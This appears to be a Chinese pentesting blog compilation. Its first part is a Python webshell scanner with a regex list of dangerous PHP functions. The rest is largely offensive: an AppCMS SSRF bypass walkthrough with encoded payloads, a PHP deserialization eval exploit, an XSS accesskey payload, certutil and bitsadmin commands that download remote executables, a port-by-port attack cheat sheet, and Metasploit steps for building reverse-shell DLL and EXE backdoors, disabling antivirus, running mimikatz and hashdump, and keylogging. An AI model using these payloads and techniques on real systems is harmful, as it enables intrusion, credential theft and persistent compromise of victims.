python脚本代码审计webshell及挂马

闲来无事逛了下腾讯SRC,发现有个小工具,查杀webshell的,用perl写的,蛮早的了,2013年的了,于是用python也写了一个,方便
利用python脚本查webshell及挂马蛮方便的,这个脚本的功能,notepad++也可以实现,不过脚本比较灵活,方便扩展,比如扩展文件特征去识别也都可以,代码如下:

#!/usr/bin/python  
#coding:utf8
#author:ly55521

import os
import re
import sys
import time

reload(sys)
sys.setdefaultencoding('utf-8')

#定义代码目录
BASE_PATH = "D:\WWW"
#设定文件对象
file_object = os.walk(BASE_PATH)

#扩展名搜索过滤开关
extension_bool = 0 #默认0不开启,全部文件搜索,1开启
#要搜索包括的扩展名
extension = [".php",".asp",".jsp",]

#php webshell str
php_code_array = [
  r'\beval\(.*\)',
  r'\bassert\(.*\)',
  r'\bsystem\(.*\)',
  r'\bpassthru\(.*\)',
  r'\bexec\(.*\)',
  r'\bpcntl_exec\(.*\)',
  r'\bshell_exec\(.*\)',
  r'\bpopen\(.*\)',
  r'\bproc_open\(.*\)',
  r'\bpreg_replace\(.*\)',
  r'\bcreate_function\(.*\)',
  r'\bob_start\(.*\)',
  r'\barray_map\(.*\)',
  #r'(include|include_once|require|require_once)',
  #r'(phpspy|4ngel|wofeiwo|c99shell|webshell|php_nst|reDuh)',
]
asp_code_array = [
  '',
]
#asp.net webshell str
aspx_code_array = [
  '',
]
#jsp webshell str
jsp_code_array = [
  '',
]


def search_webshell(file_path):
    with open(file_path,'r') as f: #"D:\\phpStudy\\WWW\\1.php"
        #每次读取文件一行
        line = f.readline()
        #记录行数
        i = 1
        #循环遍历文件
        while line:
            #打印行数和行数内容
            #print i,"==>",line,
            #读取行文件
            line = f.readline()  
            #增加空行处理
            #print line
            #if line:
            #  print "yes"
            #else:
            #  print "no"
            #time.sleep(2)
            #
            #
            #记录行数
            i = i+1
            if line:
              #判断是否存在
              for re_str in php_code_array:
                  #print type(re_str)
                  code_Pattern = re.compile(re_str,re.I)
                  match = code_Pattern.search(line)
                  if match:
                      print u"文件路径:",file_path,u"文件行数:",i,"--->",u"匹配关键字:",re_str
                      print u"文件内容:",line
                      #写入文件日志记录
                      with open('access.log',"a") as log:
                        log.write("文件路径:"+file_path+"文件行数:"+str(i)+"--->"+"匹配关键字:"+re_str+
                          "文件内容:"+line+"\n")

if __name__ == '__main__':
    #遍历目录
    for path,dirlist,filelist in file_object:
        for filename in filelist:
            #print os.path.join(path,filename)
            #处理扩展名
            if extension_bool:
              #开启扩展名过滤时,判断文件扩展名是否在列表里
              if os.path.splitext(filename)[-1] in extension:
                #print os.path.join(path,filename)
                search_webshell(os.path.join(path,filename))
            else:
              #默认未开启扩展名过滤,全部文件搜索
              search_webshell(os.path.join(path,filename))

腾讯SRC perl原版链接:https://security.tencent.com/index.php/opensource/detail/2
CF_HB推荐个更完美的东东:https://github.com/xiaoqin00/00scanner/tree/master/00Scanner/findShell/FindShell

代码审计之 appcms SSRF 绕过漏洞

哎,之前的不发都快忘记了,觉得还是发上来吧。

官网:http://www.appcms.cc/
演示站点:http://www.topber.com/
下载最新安装包:http://www.appcms.cc/download/appcms_2.0.101.zip

安装好后看 pic.php 文件代码如下:

<?php
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
    $img_url=trim($_GET['url']);
    $img_url = base64_decode($img_url);
    $img_url=strtolower(trim($img_url));
    $_GET['type']=strtolower(trim($_GET['type']));
   
    $urls=explode('.',$img_url);
    if(count($urls)<=1) die('image type forbidden 0');
    $file_type=$urls[count($urls)-1];
   
    if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}

    if(strstr($img_url,'php')) die('image type forbidden 2');

    if(strstr($img_url,chr(0)))die('image type forbidden 3');
    if(strlen($img_url)>256)die('url too length forbidden 4');

    header("Content-Type: image/{$_GET['type']}");
    readfile($img_url);
   
} else {
    die('image not find!');
}

?>

下面一行一行分析:

<?php
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
    $img_url=trim($_GET['url']); //去掉空白字符
    $img_url = base64_decode($img_url); //把url参数做base64解码、说明传入时是base64编码的
    $img_url=strtolower(trim($img_url));//把img_url转化为小写
    $_GET['type']=strtolower(trim($_GET['type']));//把type转为小写
   
    $urls=explode('.',$img_url); //使用 . 分割 img_url,如果是1.png
if(count($urls)<=1) die('image type forbidden 0');//如果urls数组小于或者等于1,则终止输出image type forbidden 0

///pic.php?url=test&type=png,随便试试看

//也就是说首先要绕过这个流程,就必须要urls数组大于1才可以,也就是.做base64编码,然后.的左右要都不为空才可以;
//把 http://test.com 做base64编码后的值是 aHR0cDovL3Rlc3QuY29t 然后用这个值试试可否绕过第一部流程;
//访问 /pic.php?url=aHR0cDovL3Rlc3QuY29t&type=png

// 走到下面的流程了,继续看下面的代码;

   $file_type=$urls[count($urls)-1]; //取得数组倒数第一个值,这里是获取文件类型的哦
    if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}

//判断图片类型是不是’jpg’,’gif’,’png’,’jpeg’这几种,如果是的话什么都不做,如果不是的话则输出 image type foridden 1
//上面走到 image type foridden 1了,接着要加个图片类型,绕过这个流程;
//把http://test.com/1.png 做base64编码 aHR0cDovL3Rlc3QuY29tLzEucG5n 访问
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=png, 在这样是可以绕过这个流程,不过显示的不对了,成为正常访问图片的效果了;

//这里其实也存在一个浏览器的RFC标准问题、没按照标准来就容易出问题;

//要实现ssrf 这样是做不到了,换成php试试呢,
//把http://test.com/1.php 做base64编码 aHR0cDovL3Rlc3QuY29tLzEucGhw 访问
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=php

发现又回到了上面的流程、这样行不通。。。

//上面流程主要是判断图片类型的、 把http://test.com/1.png 做编码,这样是读png图片流,响应为php文件;
访问 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=php

发现在客户端是下载php的,而不是去解析php的,因为随便构造的,下载下来的文件是啥都没有。
//上面是把图片当作php文件去下载、 反过来试试呢

//把php文件当图片下载
把http://test.com/1.php 做编码;
访问 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=png
试过了还是不行、还是回到了上面的流程了、、、

因为在 url 参数中做了扩展名控制,所以不能任意文件下载,不然可以做base64编码做任意文件下载噢、还有一种情况存在的可能性,解析漏洞、试试看

把http://test.com/1.php%00.png 做编码是 aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==

访问:http://127.0.0.1/appcms/pic.php?url= aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==&type=png

// appcms 的设计还真是严谨、考虑的这么周到;终于到下一步了;
    if(strstr($img_url,'php')) die('image type forbidden 2');//这里看到了,防护了解析漏洞
    if(strstr($img_url,chr(0)))die('image type forbidden 3');//这里还判断了空字符截断
    if(strlen($img_url)>256)die('url too length forbidden 4');//还判断了 url长度不能大于256
    header("Content-Type: image/{$_GET['type']}");//这里是重点,type是响应类型,这个参数是可控的了
    readfile($img_url);//开始读文件
   
} else {
    die('image not find!');//如果没有设置url或者type走这里
}

代码分析完毕、、、、

之后考虑了下 /1.png 可以通过判断, 用/?1.png也可以通过判断,这就是问题所在了,/?1.png相当于/index.php?pic=1.png或者/index.html?pic=1.png,这样访问在没有获取这个参数时会忽略掉直接显示;试试看

随便找个站 http://v.qq.com/x/search/?q=1.png ,然后做base64编码;
aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n
访问:
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png

ok了、、、如果用火狐的话,需要分析这个文件流,内容都是文件流中,基于浏览器的解析机制不一样,可以换IE浏览器,直接查看返回的内容了;

作为极客、这样不算完成、过滤了空字符、还可以联想到 HTTP相应拆分漏洞,用他来显示出内容;
给个换行 测试url如下:
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png%0A%0Dtest

然后就可以内网漫游了、、、

PHP反序列化漏洞Demo

不同地方写的反序列化都不大一样,通俗易懂的几句话就可以概括了,对象注入漏洞

场景:如果在淘宝买东西,浏览了一些商品,需求是这些商品逻辑关系不存到数据库中,而还要保存这些商品以便用户下次打开还会保持现在的状态,这时就可以把这个用户对象做序列化,然后以文件形式保存或存到数据库,为啥不直接存到数据库中,每个用户都要有自己的关系表,这样会变得更加复杂了,使用序列化可以直接保存对象状态,也方便其他程序调用。

反序列化要满足2个条件:
1.在类中使用魔术方法做了敏感的操作;
2.可控制反序列化参数值;

在java中写的POP链,POP链就是说 class A 调用 class B 方法,然后 class B 可能还调用了其他方法,在其他方法中可以控制反序列化参数,而在 class A中含有魔术方法引用了不安全的函数,这就是一个POP链,链就是程序的流程是环环相扣的。

用php写一段 反序列化演示代码:

<?php
class Testdemo {
var $var = '';
function __destruct() {
eval($this->var);
}
}
unserialize($_GET['cmd']);

__destruct()是Testdemo类的析构函数(魔术方法),就是在对象消失的时候会调用这个方法,看上面代码只要控制了 变量 var 的值就行了,实际过程中需要构造POP链达到条件去触发这个漏洞。

下面构造 exp 代码:

include 'testdemo.php'
$exp = new Testdemo();  
$exp->var = "phpinfo();";
echo serialize($exp);
#O:7:"Testdemo":1:{s:3:"var";s:10:"phpinfo();";}

对象在序列化时,可以控制 var变量,而在对象消失时就可以触发魔术方法了,这就是反序列化漏洞了。

上面反序列化的形态是这样存在的:

__PHP_Incomplete_Class Object
(
    [__PHP_Incomplete_Class_Name] => Testdemo
    [var] => phpinfo();
)

然后exp就是:http://127.0.0.1/testdemo.php?cmd=O:7:”Testdemo”:1:{s:3:”var”;s:10:”phpinfo();”;}

实际中反序列化漏洞感觉用于绕waf是一种不错的选择,这种漏洞waf查不到,又不能阻止反序列化数据传入,waf就比较纠结了;
使用反序列化间接写入webshell,因为不是每次写shell都会绕过waf,就需要这样的中间漏洞打配合蛮好的。

汇总容易导致WEB漏洞的敏感文件

1. /.svn/entries
svn文件泄漏,有可能会下载到压缩包数据库等相关信息,动态脚本如果被解析了是下载不了的;
2. /.project
开发者留下的java项目文件,暂未发现啥问题,看到一些配置信息;
3. /test
test.txt
test.shtml
test.pl
test.php3
test.php
test.jsp
test.html
test.htm
test.cgi
test.cfm
test.aspx
test.asp
测试页面,可能存在sql注入接口,或者越权查询等等相关漏洞
4. /*.asmx?wsdl
WebService.asmx?wsdl
如果增加?wsdl发现返回xml,极有可能是SOAP接口了,存在sql注入等漏洞;
5. /robot.txt
站点地图文件,某知名安全公司,原本没发现是开源cms做的,看到了robot.txt,一看便知是dedecms,离getshell又近了一步
6. Parent Directory
目录列表文件,如果在返回中包括了 Parent Directory ,可以判断开启了目录列表选项,可以查看是否有有用的文件
7. .DS_Store
苹果下的开发项目结构文件,可以通过这个文件晓得项目的目录结构,比如可以看到后台,数据库文件等直接下载

Hidden属性的input标签中XSS的触发方法

#http://blog.csdn.net/change518/article/details/51024706
参数为labelName
labelName=test”onmouseover=”alert(55555555)
显示

<div class="mod_header_title tag2"><h2>test"onmouseover="alert(55555555)</h2></div>

<input type="hidden" id="labelName" name="labelName" value="test"onmouseover="alert(55555555)" />

第二个回显 理论上这样应该是可以执行了,由于字段的类型是 hidden 所以触发不了。
试过 labelName=test”type=””onmouseover=”alert(55555555),这样 type覆盖不了前面的hidden 还是执行不了。
尖括号被转义,第一个也位置也无法使用标签了、第二个逃逸不出 input标签;
最后在某牛的帮助下,借助 accesskey 这个属性,实现了强制触发这个xss,如下:
/labelListPage?labelName=hehe”accesskey=”X”onclick=”alert(55555555)”
(alt+shift+x 触发 达到强行装x的目的)

appscan命令行工具AppScanCMD.exe 批量扫描

Program Usage:

AppScanCMD exec|ex|e

Parametrs:
[ /starting_url|/surl|/su ]#开始url
[ /dest_scan|/dest|/d ] #最大扫描
[ /base_scan|/base|/b ] #基本扫描
[ /old_host|/ohost|/oh ]
[ /new_host|/nhost|/nh ]
[ /scan_template|/stemplate|/st ]
[ /login_file|/lfile|/lf ]
[ /multi_step_file|/mstepfile|/mf ]
[ /manual_explore_file|/mexplorefile|/mef ]
[ /policy_file|/pfile|/pf ]
[ /additional_domains|/adomains|/ad ]
[ /report_file|/rf ]
[ /report_type|/rt {xml} ]
[ /min_severity|/msev {informational} ]
[ /test_type|/tt ]

Flags:
[ /verbose|/v {false} ]
[ /scan_log|/sl {false} ]
[ /explore_only|/eo {false} ]
[ /test_only|/to {false} ]
[ /multi_step|/mstep|/ms {false} ]
[ /continue|/c {false} ]

可通过 base_scan 配置、保存 dest_scan 和创建报告来创建新的扫描,如果已配置的话。

AppScanCMD report|rep|r

Parametrs:
/base_scan|/base|/b
/report_file|/rf
[ /report_type|/rt {xml} ]
[ /min_severity|/msev {informational} ]
[ /test_type|/tt ]

Flags:
[ /verbose|/v {false} ]

创建 base_scan 报告。

AppScanCMD help|h

appscan 批量扫描 dos批处理如下:

@echo off
setlocal enabledelayedexpansion

rem 扫描列表路径
set file_list=C:/Users/Administrator/Desktop/domain.txt
rem wvs_console路径
set appscancmd=C:/Program Files (x86)/IBM/AppScan Standard/AppScanCMD.exe
rem 保存目录
set save_dir=C:/Users/Administrator/Desktop/result/

rem 循环抓取扫描url
for /f  %%i in (%file_list%) do (
"%appscancmd%" /e /su %%i /d %save_dir%%%i.scan /v
)

awvs命令行工具wvs_console.exe 批量扫描

>> USAGE: wvs_console /Scan [URL] OR /Crawl [URL] OR /ScanFromCrawl [FILE] OR /ScanWSDL [WSDL URL]
>> PARAMETERS #参数

/Scan [URL] : Scan specified URL #扫描指定的URL
/Crawl [URL] : Crawl specified URL #抓取指定的URL
/ScanFromCrawl [FILE] : Scan from crawling results #从抓取结果扫描
/Import [FILE(s)] : Import files during crawl #导入检索的地址进行爬行
/ScanWSDL [WSDL URL] : Scan web services from WSDL URL #从WSDL URL扫描web服务
/Profile [PROFILE_NAME] : Use specified scanning profile during scanning #在扫描期间使用指定的扫描策略
/Settings [FILE] : Use specified settings template during scanning #在扫描期间使用指定的设置模板
/LoginSeq [FILE] : Use specified login sequence #使用指定的登录序列
/Save : Save scan results #保存扫描结果
/SaveFolder [DIR] : Specify the folder were all the saved data will be stored #指定保存目录
/GenerateZIP : Compress all the saved data into a zip file #将所有保存的数据压缩到压缩文件中
/ExportXML : Exports results as XML #导出结果为xml
/ExportAVDL : Exports results as AVDL #导出结果为AVDL
/SavetoDatabase : Save alerts to the database #将警告保存到数据库
/SaveLogs : Save scan logs #保存扫描日志
/SaveCrawlerData : Save crawler data (.CWL file) #保存数据(覆盖该文件)
/GenerateReport : Generate a report after the scan was completed #扫描完成后生成报表
/ReportFormat [FORMAT] : Generated report format (REP, PDF, RTF, HTML) # 生成报表格式(PDF,RTF,HTML)
/ReportTemplate [TEMPLATE]: Specify the report template #指定报表模板
/Timestamps : Print current timestamp with each line. #每行打印当前时间戳。
/SendEmail : Send email notification when scan is completed, using scheduler settings. #扫描结束后发送电子邮件
/EmailAddress [EMAIL] : Send email notification to this email address, override scheduler settings. #发邮件通知,邮件地址会把之前设置的给覆盖掉
/Verbose : Enable verbose mode #启用详细模式
/Password : Application password (if required) #应用程序密码(如果需要)
/Run [command line] : Run this command during crawl #在抓取过程中运行此命令
/Selenium [FILE] : Execute selenium script during crawl #执行selenium脚本进行爬行
/? : Show this help screen #显示此帮助屏幕

>> OPTIONS [ ? = TRUE or FALSE ] #选项

-–GetFirstOnly=? : Get only the first URL #只得到第一个网址
–-RestrictToBaseFolder=? : Do not fetch anything above start folder #不扫描当前目录以上的其他目录(扫描二级目录有效)
–-FetchSubdirs=? : Fetch files bellow base folder #取基础文件夹
–-ForceFetchDirindex=? : Fetch directory indexes even if not linked #获取目录索引,即使没有链接
-–RobotsTxt=? : Retrieve and process robots.txt #检索和处理robots.txt
-–CaseInsensitivePaths=? : Use case insensitive paths #使用不区分大小写的路径
-–UseWebKit=? : Use WebKit based browser for discovery #使用基于WebKit的浏览器为发现
-–ScanningMode=* : Scanning mode (* = Quick, Heuristic, Extensive) #扫描模式(*快速,启发式,广泛)
-–ManipHTTPHeaders=? : Manipulate HTTP headers #配置HTTP头
-–UseAcuSensor=? : Use AcuSensor technology #使用acusensor技术
-–EnablePortScanning=? : Enable port scanning #启用端口扫描
-–UseSensorDataFromCrawl=*: Use sensor data from crawl (* = Yes, No, Revalidate) #使用fuzz提交数据(* =是的,不,验证)
-–HtmlAuthUser=? : Username for HTML based authentication #基于HTML的身份验证用户名
-–HtmlAuthPass=? : Password for HTML based authentication #基于HTML的认证密码
–ToolTimeout=? : Timeout for testing tool in seconds #设置提交的超时时间

>> EXAMPLES #实例

wvs_console /Scan http://vulnweb.com /SaveFolder c:\Results\ /Save
wvs_console /ScanWSDL http://test/WS.asmx?WSDL /Profile ws_default /Save
wvs_console /Scan http://vulnweb.com /Profile default /Save –-UseWebKit=false –-ScanningMode=Heuristic

dos批处理:

@echo off
setlocal enabledelayedexpansion

rem 扫描列表路径
set file_list=C:/Users/ggg/Desktop/1.txt
rem wvs_console路径
set wvs_console=C:/Program Files (x86)/Acunetix/Web Vulnerability Scanner 10/wvs_console.exe
rem 保存目录
set save_dir=C:/Users/ggg/Desktop/result/

rem 循环抓取扫描url
for /f %%i in (%file_list%) do (
"%wvs_console%" /scan %%i /Profile ws_default /SaveFolder %save_dir% /Verbose /Save /SaveLogs /Timestamps –-GetFirstOnly=false --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=true --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=true --ManipHTTPHeaders=true -–UseWebKit=true
)

上面那种方式保存的是 .xml文件,想保存.wvs文件,不用配置保存目录:

@echo off
setlocal enabledelayedexpansion

rem 扫描列表路径
set file_list=C:/Users/Administrator/Desktop/domain.txt
rem wvs_console路径
set wvs_console=C:/Program Files (x86)/Acunetix/Web Vulnerability Scanner 10/wvs_console.exe

rem 循环抓取扫描url,保存到数据库
for /f %%i in (%file_list%) do (
"%wvs_console%" /scan %%i /Profile ws_default  /Verbose /SavetoDatabase /Timestamps  –-GetFirstOnly=false  --FetchSubdirs=true --RestrictToBaseFolder=true --ForceFetchDirindex=true --SubmitForms=true --RobotsTxt=true --CaseInsensitivePaths=false --UseCSA=true --UseAcuSensor=true --EnablePortScanning=false --UseSensorDataFromCrawl=revalidate --ScanningMode=Heuristic --TestWebAppsOnAllDirs=true --ManipHTTPHeaders=true -–UseWebKit=true)

这样 使用/SavetoDatabase 参数 会自动保存到数据库可以直接查看结果,扫描文件在我的文档中 D:\Documents\Acunetix WVS 10\Saves,也可以使用/save 设置保存目录

win域渗透 webshell和写文件命令

echo 48 65 6C 6C 6F 2C 57 6F 72 6C 64 21 >hex.txt
#生成 hex.txt,机器码对应的内容是 Hello World!

certutil -decodehex hex.txt bin.txt
#Hex2Bin , hex转换成bin文件

certutil -encode bin.txt Encode.txt
#Base64_Encode , Base64编码

certutil -decode Encode.txt Decode.txt
#Base64_Decode , Base64解码

这个命令很强大,通过echo 转义特殊字符时,有时通过 ^< 这样去转义也会出现错误,这样就方便多了,或者这样写入NC反弹回来; ==========================在用到的时候再来记录笔记========================== 还有另外一种方式,直接下载文件: certutil -urlcache -split -f http://www.baidu.com/webscan.exe

certutil的使用方式:


  -dump             -- 转储配置信息或文件
  -asn              -- 分析 ASN.1 文件

  -decodehex        -- 解码十六进制编码的文件
  -decode           -- 解码 Base64 编码的文件
  -encode           -- 将文件编码为 Base64

  -deny             -- 拒绝挂起的申请
  -resubmit         -- 重新提交挂起的申请
  -setattributes    -- 为挂起申请设置属性
  -setextension     -- 为挂起申请设置扩展
  -revoke           -- 吊销证书
  -isvalid          -- 显示当前证书部署

  -getconfig        -- 获取默认配置字符串
  -ping             -- Ping Active Directory 证书服务申请接口
  -pingadmin        -- Ping Active Directory 证书服务管理接口
  -CAInfo           -- 显示 CA 信息
  -ca.cert          -- 检索 CA 的证书
  -ca.chain         -- 检索 CA 的证书链
  -GetCRL           -- 获取 CRL
  -CRL              -- 发布新的 CRL [或仅增量 CRL]
  -shutdown         -- 关闭 Active Directory 证书服务

  -installCert      -- 安装证书颁发机构证书
  -renewCert        -- 续订证书颁发机构证书

  -schema           -- 转储证书架构
  -view             -- 转储证书视图
  -db               -- 转储原始数据库
  -deleterow        -- 删除服务器数据库行

  -backup           -- 备份 Active Directory 证书服务
  -backupDB         -- 备份 Active Directory 证书服务数据库
  -backupKey        -- 备份 Active Directory 证书服务证书和私钥
  -restore          -- 还原 Active Directory 证书服务
  -restoreDB        -- 还原 Active Directory 证书服务数据库
  -restoreKey       -- 还原 Active Directory 证书服务证书和私钥
  -importPFX        -- 导入证书和私钥
  -dynamicfilelist  -- 显示动态文件列表
  -databaselocations -- 显示数据库位置
  -hashfile         -- 通过文件生成并显示加密哈希

  -store            -- 转储证书存储
  -addstore         -- 将证书添加到存储
  -delstore         -- 从存储删除证书
  -verifystore      -- 验证存储中的证书
  -repairstore      -- 修复密钥关联,或者更新证书属性或密钥安全描述符
  -viewstore        -- 转储证书存储
  -viewdelstore     -- 从存储删除证书

  -dsPublish        -- 将证书或 CRL 发布到 Active Directory

  -ADTemplate       -- 显示 AD 模板
  -Template         -- 显示注册策略模板
  -TemplateCAs      -- 显示模板的 CA
  -CATemplates      -- 显示 CA 的模板
  -enrollmentServerURL -- 显示、添加或删除与 CA 关联的注册服务器 URL
  -ADCA             -- 显示 AD CA
  -CA               -- 显示注册策略 CA
  -Policy           -- 显示注册策略
  -PolicyCache      -- 显示或删除注册策略缓存项目
  -CredStore        -- 显示、添加或删除凭据存储项目
  -InstallDefaultTemplates -- 安装默认的证书模板
  -URLCache         -- 显示或删除 URL 缓存项目
  -pulse            -- 暂停自动注册事件
  -MachineInfo      -- 显示 Active Directory 计算机对象信息
  -DCInfo           -- 显示域控制器信息
  -EntInfo          -- 显示企业信息
  -TCAInfo          -- 显示 CA 信息
  -SCInfo           -- 显示智能卡信息

  -SCRoots          -- 管理智能卡根证书

  -verifykeys       -- 验证公/私钥集
  -verify           -- 验证证书,CRL 或链
  -syncWithWU       -- 与 Windows 更新同步
  -generateSSTFromWU -- 通过 Windows 更新生成 SST
  -sign             -- 重新签名 CRL 或证书

  -vroot            -- 创建/删除 Web 虚拟根和文件共享
  -vocsproot        -- 创建/删除 OCSP Web Proxy 的 Web 虚拟根
  -addEnrollmentServer -- 添加注册服务器应用程序
  -deleteEnrollmentServer -- 删除注册服务器应用程序
  -oid              -- 显示 ObjectId 或设置显示名称
  -error            -- 显示错误代码消息文本
  -getreg           -- 显示注册表值
  -setreg           -- 设置注册表值
  -delreg           -- 删除注册表值

  -ImportKMS        -- 为密钥存档导入用户密钥和证书到服务器数据库
  -ImportCert       -- 将证书文件导入数据库
  -GetKey           -- 检索存档的私钥恢复点
  -RecoverKey       -- 恢复存档的私钥
  -MergePFX         -- 合并 PFX 文件
  -ConvertEPF       -- 将 PFX 文件转换为 EPF 文件
  -?                -- 显示该用法消息


CertUtil -?              -- 显示动词列表(命名列表)
CertUtil -dump -?        -- 显示 "dump" 动词的帮助文本
CertUtil -v -?           -- 显示所有动词的所有帮助文本

CertUtil: -? 命令成功完成。

还有一种方式:

bitsadmin /transfer n http://0535code.com/files/demo.zip C:\test\demo.zip

端口服务 安全总结

21 #FTP 匿名访问、弱口令
22 #SSH 弱口令
23 #Telnet 弱口令
25 #SMTP 弱口令
53 #DNS 区域传输
79 #Finger服务的默认端口(查询远程主机在线用户等信息)
80 #web端口
110 #Pop3服务,邮件发送服务器存在溢出漏洞
135 #提供查询服务,利用 IPC$(Internet Process Connection) 入侵
137 #Samba 远程代码执行漏洞:CVE-2015-0240;NetBIOS 数据报(UDP)服务
139 #提供共享资源服务(NetBios-SSN),用在IPC$入侵中。135,137,139这三个端口可以综合利用
143 #IMAP 弱口令
161 #snmp public弱口令
389 #ldap 是否为匿名访问
443 #openssl 心脏滴血
445 #SMB远程溢出
873 #Rsync 未授权访问
1099 #java rmi 命令执行漏洞
1433 #mssql弱口令
1521 #Oracle 弱口令
2181 #Zookeeper 未授权访问
2082/2083 #cpanel 主机管理系统登录
2222 #DA虚拟主机管理系系统登录
2376 #docker api未授权访问
2601,2604 #zebra路由,默认密码zebra
3128 #squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3306 #mysql 弱口令
3312/3311 #kangle主机管理系统
3389 #RDP 弱口令、远程溢出
4440 #rundeck web 参考http://static.hx99.net/static/bugs/wooyun-2015-092026.html
4848 #GlassFish,Web中间件 弱口令 admin/adminadmin
5000 #DB2 弱口令、CVE-2015-1922
5432 #PostgreSQL 弱口令
5560/7778 #iSqlPlus
5900/5901/5902 #VNC 弱口令
6082 #varnish,参考http://static.hx99.net/static/bugs/wooyun-2010-012338.html
6379 #redis未授权访问、弱口令
7001/7002 #WebLogic Java反序列化
7778 #Kloxo主机控制面板登录
8080 #web服务弱口令、Jboss反序列化、其他端口1098/1099/4444/4445/8080/8009/8083/8093
8069 #Zabbix 弱口令、注入
8649 #ganglia
8888 #amg/LuManager,服务器主机管理系统
9000 #PHP-FastCGI-Client远程代码执行
9043 #websphere,弱口令爆破
9080 #Websphere Java反序列化 9081、9090
9200 #elasticsearch,代码执行,参考http://static.hx99.net/static/bugs/wooyun-2010-062073.html
9871 #jdwp调试 远程命令执行
10000 #Virtualmin/Webmin,服务器虚拟主机管理系统
11211 #memcache 未授权访问
27017/28017 #MongoDB 未授权访问、弱口令
50060,50030 #hadoop WEB
有的一个端口对应多种服务,多种攻击方式,也有的服务没有默认的端口,后续遇到再补充,

Metasploit meterpreter 实现 DLL注入

反弹DLL生成:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.5.137 LPORT=5210 -f dll > /tmp/s.dll

@核心命令

? – 帮助菜单
background #将当前会话移动到背景
bgkill #杀死一个背景 meterpreter 脚本
bglist #提供所有正在运行的后台脚本的列表
bgrun #作为一个后台线程运行脚本
channel #显示活动频道
close #关闭通道
exit #终止 meterpreter 会话
help #帮助菜单
interact #与通道进行交互
irb #进入 Ruby 脚本模式
migrate #移动到一个指定的 PID 的活动进程
quit #终止 meterpreter 会话
read #从通道读取数据
run #执行以后它选定的 meterpreter 脚本
use #加载 meterpreter 的扩展
write #将数据写入到一个通道

@文件系统命令

cat #读取并输出到标准输出文件的内容
cd #更改目录对受害人
del #删除文件对受害人
download #从受害者系统文件下载
edit #用 vim编辑文件
getlwd #打印本地目录
getwd #打印工作目录
lcd #更改本地目录
lpwd #打印本地目录
ls #列出在当前目录中的文件列表
mkdir #在受害者系统上的创建目录
pwd #输出工作目录
rm #删除文件
rmdir #受害者系统上删除目录
upload #从攻击者的系统往受害者系统上传文件

@网络命令

ipconfig #显示网络接口的关键信息,包括 IP 地址、 等。
portfwd #端口转发
route #查看或修改受害者路由表
webcam_snap #打开对方的摄像头

@系统命令

clearav #清除了受害者的计算机上的事件日志
drop_token #被盗的令牌
execute #执行命令
getpid #获取当前进程 ID (PID)
getprivs #尽可能获取尽可能多的特权
getuid #获取作为运行服务器的用户
kill #终止指定 PID 的进程
ps #列出正在运行的进程
reboot #重新启动受害人的计算机
reg #与受害人的注册表进行交互
rev2self #在受害者机器上调用 RevertToSelf()
shell #在受害者计算机上打开一个shell
shutdown #关闭了受害者的计算机
steal_token #试图窃取指定的 (PID) 进程的令牌
sysinfo #获取有关受害者计算机操作系统和名称等的详细信息

@用户界面命令

enumdesktops #列出所有可访问台式机
getdesktop #获取当前的 meterpreter 桌面
idletime #检查长时间以来,受害者系统空闲进程
keyscan_dump #键盘记录软件的内容转储
keyscan_start #启动时与如 Word 或浏览器的进程相关联的键盘记录软件
keyscan_stop #停止键盘记录软件
screenshot #抓取 meterpreter 桌面的屏幕截图
set_desktop #更改 meterpreter 桌面
uictl #启用用户界面组件的一些控件

@特权升级命令

getsystem #获得系统管理员权限

@密码转储命令

hashdump #抓去哈希密码 (SAM) 文件中的值
#请注意 hashdump 会可以跳过杀毒软件,但现在有两个脚本,都更加隐蔽,”run hashdump”和”run smart_hashdump”。查找更多关于那些在我即将举行的 meterpreter 脚本作弊

Timestomp 命令

timestomp #操作修改,访问,并创建一个文件的属性

#shell 进入cmd
meterpreter > shell

#生成EXE后门木马
root@0535coder:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.5.137 LPORT=5210 X > /tmp/2.exe

#监听反向连接
meterpreter > run
meterpreter > run vnc #界面方式要运行第二次才正常
meterpreter > run screen_unlock

#进程迁移
meterpreter > run post/windows/manage/migrate

#关闭杀毒软件
meterpreter > run killav

#加载 读取明文密码
load mimikatz //加载
wdigest //读取用户密码

#远程桌面登陆
root@0535coder:~# rdesktop 10.1.5.57 -u administrator -p passwd
screenshot #桌面的屏幕截图 保存在/root/******.jpg